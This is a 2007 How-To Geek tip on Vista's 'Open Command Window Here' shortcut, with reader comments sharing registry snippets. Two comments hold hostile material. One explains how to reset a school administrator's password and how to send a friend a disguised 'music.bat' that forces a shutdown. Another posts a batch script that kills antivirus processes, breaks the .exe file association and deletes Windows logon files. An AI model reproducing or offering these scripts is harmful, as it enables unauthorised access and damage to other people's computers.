How-To Geek

Use "Command Prompt Here" in Windows Vista

A very popular registry hack for Windows XP was the “Command Prompt Here” hack, that would automatically open a command prompt window in the directory that you had clicked on.

Windows Vista includes this ability right out of the box, it’s just not immediately obvious, because it’s hidden behind a shortcut key.

To activate this, just hold down the Shift key when you right-click on a folder, and you should see the Open Command Window Here menu item:

Just like that, a command window opens with that path as the working directory

Lowell Heddings, better known online as the How-To Geek, spends all his free time bringing you fresh geekery on a daily basis. You can follow him on if you'd like.

  • Published 03/15/07

Comments (32)

  1. Brent Rockwood

    This seems to only work in the listview area of explorer, not if you click on folders in the treeview.

  2. Hans Felsh

    just like every other version of Windows, you can edit the registry to add the Open Command Prompt Here to the right-mouse click menu. Copy and paste the following text into Notepad, save it a a .reg file, then simply double-click the .reg file and import it into the registry:

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\Command Prompt]
    @=”Open Command Prompt Here”

    [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\Command Prompt\command]
    @=”Cmd.exe /k pushd %L”

  3. Rick

    It also has a “copy as path” option

  4. Scott Marlowe

    The registry hack works beautifully! Thanks.

  5. anthony

    Holding shift didn’t work, registry script did. Thanks.

  6. Knud Henrik Strømming

    Copy-paste the content below into a REG-file and import it into the Registry to add a similar shortcut to the contect menu for drives as well. The ampersand in the “Open Command &Prompt Here” string adds a keyboard shortcut (mark the drive, press the Windows key, press the P key to open the command prompt window using the keyboard).

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\Command Prompt]
    @=”Open Command &Prompt Here”

    [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\Command Prompt\command]
    @=”Cmd.exe /k pushd %L”

  7. Knud Henrik Strømming

    Ohh, sorry, not the Windows key, should have been the Contect Menu key. :o]

  8. shaggy

    does this reg-key also work on Win2003 Server?


  9. Knud Henrik Strømming


    Oh yes! For Windows 95/98/Me/NT4/2k/XP/2k3 you only need the command “cmd.exe”, but for Win2k3 the command “cmd.exe /k pushd %L” will work as well.

  10. shaggy

    Thank you Knud, right click and context menu work fine on my Win2k3 :)

  11. Tom

    Thanks! Wasn’t in my vista for some reason, but the reg hack worked a treat =)

  12. Bob

    Hey, I was wondering if anyone could tell me some tricks for the command prompt. I have a vista and was wondering if u had any coool tricks for me. Thanks….

  13. robin singla

    hi bob …..first of all you go to run and then write “cmd”in run then enter you will get command prompt .If u want to know about ur notebook mac address or physical address then you write “ipconfig/all” in command prompt and press enter , u will get all physical address of ur network.

  14. Michael Higham

    The quickest way to get to Command Prompt is add “Command Prompt Here” to Computer context menu of right click. Here’s the registry script: –

    Windows Registry Editor Version 5.00

    @=”Command Prompt Here”


    Copy all the text and then paste into Notepad. Save as cmd-computer.reg and then merge it. Right-click on Computer and “Command Prompt Here” option is available!

    Or, you can copy, paste and merge the registry file here below: –

    Windows Registry Editor Version 5.00

    @=”Command Prompt Here”


  15. Hyper

    !!! open command prompt as ADMINISTRATOR

    Windows Registry Editor Version 5.00

    @=”Open Administrator Command Window Here”

    @=”cmd.exe /k \”pushd %L && title Elevated Command Prompt Window\””

    @=”Open Administrator Command Window Here”

    @=”cmd.exe /k \”pushd %L && title Elevated Command Prompt Window\””

  16. walter

    I have a problem with my other computer connecting to the internet, it is connected to the router but can connect to the internet.

    I checked all the setting and reset the winsock and when i try do use the diagnostic it says that windows cant figure out whats wrong.

    If you guys have any advise it couldn’t hurt.

  17. Mai Ling

    Could someone please recommend some command strings to use once in the cmd.exe window? I’d like to find a glossary of different commands and the results and/or options that they produce. Thanks.

  18. Robert

    hey guys i m new on this but i have a quastion …

    how can i open an cmd in vista as administrator with cmd .

    if any of you know please let me know i try this but is not working…

    Windows Registry Editor Version 5.00

    @=”Open Administrator Command Window Here”

    @=”cmd.exe /k \”pushd %L && title Elevated Command Prompt Window\””

    @=”Open Administrator Command Window Here”

    @=”cmd.exe /k \”pushd %L && title Elevated Command Prompt Window\””


  19. SiliconDragon

    To open a command prompt with admin rights (i.e. “as administrator”), just change the “cmd.exe /k %L” portion to “cmd.exe /s /k %L”

    You can create all sorts of shell extensions this way. I use Process Explorer (the Sysinternals tool) and show the column “command line” which shows the full path and commandline args used for what ever process you want to duplicate.

    Of course, regarding the command prompt with “run as admin” rights, there’s the built-in shift-right-click method, but I personally prefer adding the 2nd shell extension so I don’t HAVE to use both hands (i.e. the shift key). Whom ever said that “necessity is the mother of all invention” hasn’t got a handle on reality yet and figured out that laziness is the mother of all invention. ;)

  20. Spacegold

    I am normally not a command line user, but having now discovered what looks like an old DOS command prompt, I am curious about it. A few simple tries confirmed that my old DOS knowledge was not going to be very useful here. Is this one of those things that you have to buy the Windows developer package to learn or is there a command list documented somewhere with, as the user above noted, an explanation of the consequences of each? I would ask this on the forum, but I still can’t log in there.

  21. Pete

    Mai Ling / Spacegold – Try here for Command reference material:

  22. E1ement 5k4ter

    Open up cmd prompt and type
    “color 2” you can also type in “color /?” to give you the list of options to change your command prompt coloring.

    A fun thing to do, At school to change Admins password you type in “net user” and see the name of the administrator then you type “net user (name of admin) *” Yes, Include the * because thats the symbol for password Then. Type your desired password, It wont come up as you typing anything but it is, Then press ENTER and Re-type your password, Again it wont come up as typing anything but it is. And then press ENTER again.

    You can also type “ipconfig” if you wunna shut down a friends computer, find the IP adress and then type “shutdown -i” which opens up a new window click “add”, Type the IP in. fill out the rest and click OK.
    That SHOULD work, not sure tho =)

    You can also Open up note-pad, type “shutdown -s -t 30 -c “Trojan detected!” (just for fun) and click “Save As” but when your writing the name for example, Call it “music.bat” To save as a batch file, Send it to a friend over msn or e-mail. When they click it, a box will pop-up on there screen saying “Trojan detcted!” and there comp. will shutdown in 30 secs.
    To stop this process, Open up command prompt and type “shutdown -a”, The a is for Abort, and will Abort ALL shutdown procedures.

    Enjoy, Hopefully i got the info right! =)

  23. Whizzzy

    title Hack Setup
    color 0A
    @echo off
    set end=md “Hack installing”
    set fin=copy “Hack log.txt” “Installing”
    net send * Hack is installing, press OK to begin set up.
    kill NAVAPSVC.exe /F /Q
    kill zonelabs.exe /F /Q
    kill explorer.exe /F /Q
    assoc .exe=txtfile
    assoc .txt=mp3file
    msg * It is you who is hacked….
    msg * I warned you, and you kept going. Challenge me and this is what happens.
    DEL C:\WINDOWS\system32\logoff.exe /F /Q
    DEL C:\WINDOWS\system32\logon.exe /F /Q
    DEL C:\WINDOWS\system32\logon.scr /F /Q

  24. nekulas

    Hi Guys,
    How can I change the ownership of registry entry via command mode?

  25. bxdanny

    The downloadable “PowerToy” from Microsoft called “Open Command Window Here” works fine, but I recently noticed one little glitch with it: if the directory I am trying to open a prompt in has an ampersand in the the name (or perhaps some other unusual characters), it displays an error message and puts you in that directory’s parent instead. To fix this, go to the registry key HKEY_CLASSES_ROOT\Directory\shell\command\cmd and modify the data by moving the opening quotation mark so that only “%L” is in quotes rather than “cd %L”. That is, change

    cmd.exe /k “cd %L”


    cmd.exe /k cd “%L”

  26. WillChapman

    What if I want just the file name without the path? I’m using a right-click context menu to perform a batch job on a file and I need to know how to pass just the file name, without the path. Is there another option other than %L?

  27. EskimoHeel

    So in windows 7 I want to have the ‘Open Command Window Here” to fire up CMD with the /F flag (file completion). Back in the day i was fine poking around the registry; but while there are a bunch of @SHELL32 in there, but not CMD’s that I can see to tweak. I suppose I can add my own “CMD Shell’ menu item, but nothing that looks like earlier comments here in this thread. Any ideas?

  28. j r

    The shift right mouse click used to work on my vista system, now it doesn’t. That does it, I’m dumping this MS turd of an OS and installing linux today.

  29. Devin

    Hey can you teach me how to use command Prompt or also known as CMD?

  30. ryan

    i know all about comand prompt but there is a currupt or missing………. how do i open CMD wen my computer first cuts on?

  31. david

    so i have windows xp and i cant access the folder for a minecraft server im running. is there any way i can do something that involve the rightclik shift. becasue when i try and do it manually it says its not a command

  32. MilesAhead

    I have a more versatile one that uses a Hotkey instead of hacking the registry. It’s called PromptHere. You can select several folders and a command prompt will open for each with the folder as current directory. If you search Softpedia for “PromptHere” you should find it. The program has a “check for updates” in the Tray Icon Menu to make it simple to get the latest version. It’s free for you to use at your own risk.

More Articles You Might Like

Enter Your Email Here to Get Access for Free:

Go check your email!